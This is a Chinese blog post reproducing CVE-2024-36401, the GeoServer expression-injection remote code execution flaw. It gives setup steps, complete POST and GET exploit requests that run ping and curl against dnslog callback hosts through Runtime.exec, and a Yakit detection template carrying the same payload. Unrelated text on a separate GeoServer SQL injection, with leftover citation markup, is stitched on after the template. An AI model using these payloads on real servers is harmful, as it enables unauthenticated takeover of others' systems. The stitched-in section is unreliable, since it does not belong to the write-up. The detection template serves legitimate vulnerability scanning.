GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

1.漏洞描述

GeoServer 是一个开源的服务器软件,使用 Java 编写,主要功能是允许用户共享和编辑地理空间数据。它在设计时就考虑到了互操作性,支持使用开放标准来发布多种主流格式的空间数据。

GeoServer在版本2.23.6、2.24.4和2.25.2之前,允许未经身份验证的用户通过多个OGC请求参数针对默认GeoServer安装的特别构造的输入利用代码注入漏洞,该漏洞是由于应用不安全地将属性名称作为XPath表达式进行评估,攻击者可以在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。

2.漏洞复现

环境搭建

https://master.dl.sourceforge.net/project/geoserver/GeoServer/2.20.0/geoserver-2.20.0-bin.zip?viasf=1

下载之后,到bin目录启动startup.bat ,由于我这里端口冲突,于是在start.ini修改了端口为8087

在这里插入图片描述

漏洞复现:

POST请求

POST /geoserver/wfs HTTP/1.1
Host: 192.168.236.196:8087
Content-Type: application/xml
Content-Length: 334

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"ping hovmgt.dnslog.cn")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

在这里插入图片描述

可以看到dnslog出现回显,证明命令执行成功

在这里插入图片描述

GET 请求:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27curl%20fkm7iy.dnslog.cn%27) HTTP/1.1
Host: 192.168.236.196:8087
Cookie: JSESSIONID=node01odk521suledd1lff372goa4v44.node0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

在这里插入图片描述
在这里插入图片描述

3. yakit检测模版

id: CVE-2024-36401-GeoServer-wfs-rce

info:
  name: GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)
  author: god
  severity: critical
  description: GeoServer property 表达式注入代码执行漏洞(CVE-2024-36401)

http:
- raw:
  - |-
    @timeout: 30s
    POST /geoserver/wfs HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/xml
    Content-Length: 324

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'
     valueReference='exec(java.lang.Runtime.getRuntime(),"ping {{interactsh-url}}")'>
     <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol

在这里插入图片描述

GeoServer存在SQL注入漏洞,攻击者可以通过构造畸形的过滤语法绕过GeoServer的词法解析,从而获取服务器中的敏感信息甚至可能获取数据库服务器权限。\[2\]具体的攻击示例是通过发送特定的HTTP请求来实现注入,其中包括了查询图层名称和属性名称的参数。\[3\] 为了防止SQL注入攻击,建议采取以下措施: 1. 及时更新GeoServer和相关组件的版本,以确保修复了已知的漏洞。 2. 对用户输入进行严格的验证和过滤,确保输入的数据符合预期的格式和类型。 3. 使用参数化查询或预编译语句来执行数据库操作,而不是直接拼接用户输入的数据。 4. 限制GeoServer的访问权限,只允许授权的用户或IP地址进行访问。 5. 监控和记录GeoServer的日志,及时发现异常行为并采取相应的应对措施。 通过采取以上措施,可以有效减少SQL注入攻击对GeoServer的威胁。 #### 引用[.reference_title] - *1* [GeoServer 存在 sql 注入漏洞](https://blog.csdn.net/murphysec/article/details/129278735)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [GeoServer SQL注入漏洞复现(CVE-2023-25157)](https://blog.csdn.net/qq_41904294/article/details/131117123)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值